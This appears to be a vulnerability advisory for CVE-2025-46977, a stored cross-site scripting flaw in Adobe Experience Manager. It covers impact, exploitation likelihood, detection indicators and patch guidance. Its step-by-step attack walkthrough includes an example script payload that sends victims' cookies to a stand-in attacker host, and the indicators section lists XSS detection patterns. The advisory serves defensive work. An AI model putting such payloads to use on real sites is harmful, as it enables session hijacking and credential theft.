CVE-2025-46977: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46977 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. When a victim browses to a page containing the compromised field, the injected JavaScript executes in their browser. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch available via Adobe's security advisory. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged attacker can submit malicious JavaScript payloads into form fields within AEM that are not properly sanitized or encoded before being stored and subsequently rendered to other users. Exploitation requires the attacker to have a valid low-privilege account and requires user interaction — a victim must navigate to the page containing the injected content for the script to execute. No public proof-of-concept code has been identified at this time (Adobe Advisory).

Successful exploitation could allow an attacker to execute arbitrary JavaScript in the context of a victim's browser session within the AEM application. This may lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or further phishing attacks targeting AEM users. The scope is changed (cross-origin impact), but availability is not directly affected; confidentiality and integrity impacts are rated low (Adobe Advisory).

There is no evidence of active in-the-wild exploitation or a publicly available proof-of-concept exploit for CVE-2025-46977 at this time. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. Exploitation requires a low-privileged account and victim interaction, which further limits the attack surface (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, using web fingerprinting tools or by inspecting HTTP response headers and login pages.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept user input via form fields and are rendered to other users (e.g., content fragments, editable templates, or custom forms).
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger execution: Wait for a victim (e.g., an AEM administrator or another user) to browse to the page containing the injected field, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server to enable further unauthorized access (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing encoded JavaScript patterns (e.g., <script>, javascript:, onerror=, onload=) from low-privileged user accounts.
• File System / Content Repository: Unexpected JavaScript content stored within AEM JCR (Java Content Repository) nodes, particularly in form field properties or content fragment data.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading AEM pages, potentially carrying cookie or session data as query parameters.
• Logs: AEM audit logs showing content modifications by low-privileged users to pages or components that are frequently accessed by administrators or other high-value users.

Adobe has released patches addressing this vulnerability. Users should upgrade AEM on-premises installations to version 6.5.23.0 or later, and AEM Cloud Service customers should ensure they are on release 2025.5.0 or later. As interim mitigations, organizations should implement strict input validation and output encoding on all form fields, apply the principle of least privilege to limit which users can modify content, and monitor for suspicious script injections in stored content. The full patch details are available in Adobe's security bulletin APSB25-48 (Adobe Advisory).

The vulnerability was noted by CIS (Center for Internet Security) in a multi-vulnerability advisory covering Adobe products, flagging the potential for code execution risks across the Adobe product suite (CIS Advisory). Tenable also tracked the issue through its vulnerability pipeline. No significant independent researcher commentary or social media discussion has been identified for this specific CVE, consistent with its medium severity rating and lack of public exploit code.